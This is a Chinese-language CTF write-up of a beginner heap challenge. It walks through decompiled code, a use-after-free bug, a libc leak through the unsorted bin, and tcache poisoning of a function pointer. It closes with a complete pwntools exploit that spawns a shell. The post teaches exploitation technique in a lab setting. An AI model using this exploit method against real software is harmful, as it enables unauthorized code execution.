例题:
程序保护全开,ida打开
int __cdecl main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); while ( 1 ) { menu(); switch ( (unsigned int)read_int() ) { case 1u: new_book(); break; case 2u: edit_book(); break; case 3u: delete_book(); break; case 4u: show_book(); break; case 5u: return 0; case 0x11u: magic_book(); break; default: continue; } } }
可以看到是一个标准的堆的菜单题
new_book函数可以申请任意大小的堆块,并且把堆块大小存到books_size数组中,books_size是bss段的全局变量,并且把malloc_hook,free_hook置0
__int64 new_book() { int i; // [rsp+8h] [rbp-8h] int v2; // [rsp+Ch] [rbp-4h] puts("book size:"); v2 = read_int(); for ( i = 0; i <= 4; ++i ) { if ( !books[i] ) { books[i] = malloc(v2); books_size[i] = v2; printf("You got new book at index %d\n", (unsigned int)i); break; } } _malloc_hook = 0LL; _free_hook = 0LL; return 0LL; }
edit_book函数可以向指定堆块读入不超过这个堆块大小的数据,没有溢出。并且也把malloc_hook,free_hook置0
__int64 edit_book() { unsigned int v1; // [rsp+Ch] [rbp-4h] puts("Book index:"); v1 = read_int(); if ( v1 > 4 ) { puts("Wrong index!"); } else if ( books[v1] ) { puts("Provide book content:"); read(0, (void *)books[v1], (int)books_size[v1]); } _malloc_hook = 0LL; _free_hook = 0LL; return 0LL; }
delete_book函数存在uaf漏洞,同样把malloc_hook,free_hook置0
__int64 delete_book() { unsigned int v1; // [rsp+Ch] [rbp-4h] puts("Book index:"); v1 = read_int(); if ( v1 > 4 ) { puts("Invalid index!"); } else if ( books[v1] ) { free((void *)books[v1]); // uaf puts("Successfully deleted!"); } else { puts("Already deleted!"); } _malloc_hook = 0LL; _free_hook = 0LL; return 0LL; }
show_book函数可以打印堆块中的数据
int show_book() { __int64 v0; // rax unsigned int v2; // [rsp+Ch] [rbp-4h] puts("Book index:"); v2 = read_int(); if ( v2 > 4 ) { puts("Invalid index!"); LODWORD(v0) = 0; } else { v0 = books[v2]; if ( v0 ) LODWORD(v0) = printf("OUTPUT: %s\n", (const char *)books[v2]); } return v0; }
magic_book函数有一个magic_library函数,这个函数存放着一个指向bss段的指针
__int64 magic_book() { return magic_library(); }
按tab键可以查看汇编代码
public magic_book magic_book proc near ; __unwind { push rbp mov rbp, rsp mov rax, cs:magic_library jmp rax magic_book endp
可以看到这个函数跳转到bss段指针指向的位置
思路:程序存在uaf漏洞,并且每次申请,编辑,释放堆块后将malloc_hook,free_hook置0。题目给了libc版本为2.27。所以可以先申请一个大堆块,一个小堆块,一个任意大小的堆块(防止与top chunk合并),再将大堆块释放进入unsorted bin中,这个堆块的fd和bk就被写入了与main_arena有固定偏移的地址,由于存在uaf漏洞,申请堆块的指针没有被清除,所以仍然可读可写,所以可以利用上述的unsorted bin的特性来泄露libc,然后再用一次uaf先释放第二个堆块,将magic_library写到第二个堆块中,再连续申请两个与这个堆块同样大小的堆块,就会从tcache bin中将magic_library申请出来,然后就可以读写magic_library指针所指向的内存了,利用magic_book的特性,将根据前面泄露的libc计算出的one_gadget写入到magic_library所指向的内存,然后再调用magic_hook即可。
exp:
from pwn import * p=process('./pwn') libc=ELF('./libc-2.27.so') def menu(): p.recvuntil(b'>> ') def add(size): menu() p.sendline(b'1') p.recvuntil(b'book size:\n') p.sendline(str(size)) def edit(idx,con): menu() p.sendline(b'2') p.recvuntil(b'Book index:\n') p.sendline(str(idx)) p.recvuntil(b'Provide book content:') p.sendline(con) def show(idx): menu() p.sendline(b'4') p.recvuntil(b'index:') p.sendline(str(idx)) def free(idx): menu() p.sendline(b'3') p.recvuntil('Book index:\n') p.sendline(str(idx)) add(0x500) add(0x80) add(0x500) free(0) show(0) p.recvuntil(b'OUTPUT:') base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-4111520 one_gadget=base+0x4f2a5 print(hex(base)) free(1) edit(1,p64(0x602110)) add(0x80) add(0x80) edit(4,p64(one_gadget)) p.sendline(b'17') p.interactive()标签:v1,magic,堆块,int,hook,ctfpwn,book,新手,uaf From: https://www.cnblogs.com/r136a1/p/17483327.html